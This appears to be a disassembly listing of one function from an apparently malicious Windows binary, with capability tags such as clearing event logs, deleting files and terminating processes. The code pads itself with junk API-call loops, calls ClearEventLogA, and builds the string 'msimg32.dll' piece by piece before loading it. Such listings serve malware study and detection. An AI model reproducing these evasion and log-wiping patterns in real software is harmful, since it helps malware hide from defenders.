Function at 0x4a4480
Capabilities:
Access the windows event log
Clear windows event logs
Copy file
Delete file
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a56dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2700
call fcn.00412600
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdb4
jge 0x4a44cf
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x82ece4], 0x6fb
jne 0x4a44ed
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa00
jle 0x4a4505
cmp ebx, 0xc10c66
je 0x4a4505
cmp ebp, 0x952d5ac
jne 0x4a450e
inc esi
cmp esi, 0x80c48
jl 0x4a44bd
cmp dword [0x82ece4], 0xcf8
jne 0x4a46b8
lea ecx, [esp + 0xd4]
push ecx
push 0
push 0x403fa0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x82ece4], 0x3a
jne 0x4a455d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x310]
push edx
push 0
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ebp, ebp
push ebp
call fcn.0040750d
add esp, 4
push ebp
push ebp
call fcn.004073d1
add esp, 8
lea eax, [esp + 0x30]
push eax
call fcn.004055b0
push ebp
push ebp
call fcn.004074cd
push ebp
push ebp
call fcn.004074cd
push ebp
call fcn.004075e1
mov edx, dword [esp + 0x44]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x9c]
add esp, 0x14
mov dword [esp + 0x14], ecx
mov dword [esp + eax + 0x30], 0x40417c
mov dword [esp + 0x271c], ebp
test byte [esp + 0x80], 1
lea ecx, [esp + 0x40]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x40], 0x40413c
je 0x4a45dd
mov edx, dword [esp + 0x50]
mov eax, dword [edx]
push eax
call fcn.004075d6
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [eax], ebp
mov ecx, dword [esp + 0x60]
mov dword [ecx], ebp
mov edx, dword [esp + 0x70]
mov dword [edx], ebp
mov eax, dword [esp + 0x54]
mov dword [eax], ebp
mov ecx, dword [esp + 0x64]
mov dword [ecx], ebp
mov edx, dword [esp + 0x74]
mov dword [edx], ebp
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x40], 0x4040f4
mov byte [esp + 0x271c], 1
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, ebp
je 0x4a4672
mov edi, dword [eax]
cmp edi, ebp
je 0x4a4669
push ebp
lea ecx, [esp + 0x1c]
call fcn.00406a42
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x4a4647
cmp eax, 0xffffffff
jae 0x4a4647
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.00406a6a
cmp esi, ebp
je 0x4a4669
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.004075d6
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x271c], 0
call fcn.00406a9b
mov dword [esp + 0x271c], 0xffffffff
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x88]
mov dword [esp + ecx + 0x30], 0x404134
push edx
mov dword [esp + 0x8c], 0x4040e4
call fcn.0040664e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x408
jne 0x4a46d3
mov eax, 0x5d1
add dword [0x82ece4], eax
cmp dword [0x82ece4], 3
jne 0x4a4703
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push 0x404028
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0x718]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
inc esi
cmp esi, 0x1518d4
jl 0x4a46c0
mov edx, dword [0x82ece4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4afd34], eax
mov eax, dword [0x82ece4]
xor esi, esi
test eax, eax
je 0x4a476b
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x4a4742
push 0
call ebx
call fcn.004a4080
mov eax, dword [0x82ece4]
cmp eax, 0x29
jne 0x4a4766
push 0
push 0
lea eax, [esp + 0x718]
push eax
push 0
call edi
mov eax, dword [0x82ece4]
inc esi
cmp esi, eax
jb 0x4a4737
cmp eax, 0x70
jne 0x4a4860
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x404048
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0xf14]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1f18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x714]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x82ece4]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 0xdf
jne 0x4a498a
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
lea ecx, [esp + 0x1f1c]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea edx, [esp + 0xf14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0xe0]
push eax
push 0x404050
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea ecx, [esp + 0x1710]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x82ece4]
dec dword [esp + 0x18]
jne 0x4a4880
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
nop
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4a49a0
mov byte [0x4aafa0], 0
call fcn.004a3f90
call fcn.004a42c0
mov edi, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
jmp 0x4a49d0
cmp dword [0x82ece4], 0xba
jne 0x4a49e2
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a49f5
mov eax, 0
add dword [0x4afd34], eax
inc esi
cmp esi, 0x1605a
jl 0x4a49d0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
nop
cmp dword [0x82ece4], 0x85
jne 0x4a4a2a
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x4a4a10
push 0x4aafa0
mov dword [0x4aafa2], 0x33676d69
mov word [0x4aafa0], 0x736d
mov dword [0x4aafa8], 0x6c6c64
mov word [0x4aafa6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x82ece4], 0xc30
jne 0x4a4b10
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x1d0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x24]
push eax
push ebx
lea ecx, [esp + 0x71c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404058
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push ebx
lea eax, [esp + 0x314]
push eax
push 0x4040c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x20]
push ebx
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2714]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret